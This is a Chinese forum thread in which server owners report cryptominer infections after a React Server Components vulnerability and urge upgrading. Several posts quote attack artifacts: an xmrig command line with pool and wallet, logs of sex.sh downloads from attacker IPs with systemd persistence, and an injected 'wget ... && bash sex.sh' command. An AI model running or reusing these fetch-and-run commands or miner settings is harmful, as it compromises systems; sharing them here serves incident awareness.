一定要马上立刻升级 react ，平生第一次中招！

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

› RANDOM.org 密码生成器

› uBlock

› Authy

› LastPass

› FreebuF.com

› Beebeeto

› Dashlane 密码管理器

服务器 CPU 报警了，看了下有个挖矿进程：

root     2380791 30.6 13.5 312304 272324 ?       Tsl  06:05   1:27 /root/umami/xmrig-6.24.0/xmrig --url pool.hashvault.pro:443 --user 8BWy7pgane96sLATF7nESM4ehZEtYAFNpYFAm88zftVsJ5jxFBdGVBrd1igptedXejfomPEpJvGUKU1etmkNBXmU5HkPR6e --pass ZimbabveDC --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14

服务器上有个 umami 这个网站统计软件用了 react next.js server ，才报漏洞，今天就被扫到了。。。黑产效率很高

React

升级

挖矿

9 条回复 • 2025-12-06 12:04:40 +08:00

lemoncoconut

22 小时 39 分钟前

感谢楼主，立马升级了 umami

lizhenda

22 小时 28 分钟前

这年头挖矿的木马还能有多少收益？

ponycool

22 小时 24 分钟前

CVE-2025-55182 CVSS 10.0
https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

dianso

22 小时 23 分钟前

上周日已经拿到工具了，没想到这周就爆料了，损失几百 U

fwh

22 小时 22 分钟前

我的也是，nextjs 项目目录下多了 sex.sh 、xmrig 这几个文件，这是 pm2 日志记录，也不知道怎么攻击的

2025-12-05T13:20:27: --2025-12-05 13:18:47-- http://46.36.37.85:12000/sex.sh
2025-12-05T13:20:27: Connecting to 46.36.37.85:12000... connected.
2025-12-05T13:20:27: HTTP request sent, awaiting response... 200 OK
2025-12-05T13:20:27: Length: 1621 (1.6K) [application/x-sh]
2025-12-05T13:20:27: Saving to: ‘sex.sh’
2025-12-05T13:20:27:
2025-12-05T13:20:27: 0K . 100% 171M=0s
2025-12-05T13:20:27:
2025-12-05T13:20:27: 2025-12-05 13:18:47 (171 MB/s) - ‘sex.sh’ saved [1621/1621]
2025-12-05T13:20:27:
2025-12-05T13:20:27: % Total % Received % Xferd Average Speed Time Time Time Current
2025-12-05T13:20:27: Dload Upload Total Spent Left Speed
2025-12-05T13:20:27:

98 3439k 98 3400k 0 0 35755 0 0:01:38 0:01:37 0:00:01 26312
99 3439k 99 3426k 0 0 35697 0 0:01:38 0:01:38 --:--:-- 23629
100 3439k 100 3439k 0 0 35653 0 0:01:38 0:01:38 --:--:-- 24491
2025-12-05T13:20:27: Created symlink /etc/systemd/system/multi-user.target.wants/system-update-service.service → /etc/systemd/system/system-update-service.service.
2025-12-05T13:20:28: --2025-12-05 13:20:27-- http://46.36.37.85:12000/sex.sh
2025-12-05T13:20:28: Connecting to 46.36.37.85:12000... connected.
2025-12-05T13:20:28: HTTP request sent, awaiting response... 200 OK
2025-12-05T13:20:28: Length: 1621 (1.6K) [application/x-sh]
2025-12-05T13:20:28: Saving to: ‘sex.sh.1’
2025-12-05T13:20:28:
2025-12-05T13:20:28: 0K . 100% 198M=0s
2025-12-05T13:20:28:
2025-12-05T13:20:28: 2025-12-05 13:20:27 (198 MB/s) - ‘sex.sh.1’ saved [1621/1621]
2025-12-05T13:20:28:

Nanosk

22 小时 5 分钟前

@fwh
⨯ [TypeError: Failed to parse body as FormData.]
⨯ [TypeError: Cannot read properties of undefined (reading 'workers')]
⨯ [TypeError: Cannot read properties of undefined (reading 'workers')]
⨯ [TypeError: Cannot read properties of undefined (reading 'workers')]
Connecting to 216.158.232.43:12000 (216.158.232.43:12000)
saving to 'sex.sh'
sex.sh 100% |********************************| 1615 0:00:00 ETA
'sex.sh' saved
/bin/sh: bash: not found
⨯ [Error: Command failed: wget http://216.158.232.43:12000/sex.sh && bash sex.sh
Connecting to 216.158.232.43:12000 (216.158.232.43:12000)
saving to 'sex.sh'
sex.sh 100% |********************************| 1615 0:00:00 ETA
'sex.sh' saved
/bin/sh: bash: not found
] {
status: 127,
signal: null,
output: [Array],
pid: 46,
stdout: <Buffer >,
stderr: <Buffer 43 6f 6e 6e 65 63 74 69 6e 67 20 74 6f 20 32 31 36 2e 31 35 38 2e 32 33 32 2e 34 33 3a 31 32 30 30 30 20 28 32 31 36 2e 31 35 38 2e 32 33 32 2e 34 33 ... 147 more bytes>,
digest: '4032595826'
}

差不多但是因为容器没 bash 没法执行

zhangyunlu80

21 小时 59 分钟前

react2shell 升级吧

cnhongwei

21 小时 52 分钟前

我是使用 Docker 来运行，page 路由，这个应没有问题吧？

wodema

1 小时 20 分钟前

我的也中招了